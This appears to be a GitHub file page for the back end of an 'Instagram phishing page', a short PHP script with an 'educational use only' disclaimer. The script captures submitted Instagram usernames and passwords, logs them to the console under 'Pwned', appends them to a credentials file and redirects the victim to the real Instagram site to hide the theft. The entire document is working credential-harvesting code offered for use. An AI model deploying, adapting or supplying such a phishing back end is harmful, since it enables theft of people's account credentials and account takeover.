A Simple Instagram Phishing Page • For educational use only • The author is not responsible for illegal misuse.
at master 990 B view raw
1<?php 2if (isset($_POST['username'])) { 3 $username = $_POST['username']; 4} 5 6if (isset($_POST['password'])) { 7 $password = $_POST['password']; 8} 9 10$green = "\033[32m"; 11$blue = "\033[34m"; 12$red = "\033[31m"; 13$reset = "\033[0m"; 14 15error_log(PHP_EOL); 16 17error_log($red . "[!] Pwned !" . $reset); 18error_log($blue . "[+] Username : $username" . $reset); 19error_log($blue . "[+] Password : $password" . $reset); 20error_log($green . "[*] Saved in credentials.txt" . $reset); 21 22error_log(PHP_EOL); 23 24$file = fopen('../data/credentials.txt', 'a'); 25if ($file) { 26 // Set the GMT offset to +3 27 $gmt = 3; 28 $dateTime = new DateTime("now", new DateTimeZone("GMT")); 29 $logTime = date('D M d H:i:s Y'); 30 $dateTime->modify("+$gmt hours"); 31 $formattedDateTime = $dateTime->format('m/d/Y H:i'); 32 33 fwrite($file, "$logTime\n\nUsername: $username\nPassword: $password\n________________\n\n"); 34 fclose($file); 35 header("Location: https://instagram.com"); 36 exit(); 37} else { 38 echo "Unable to open file."; 39} 40?>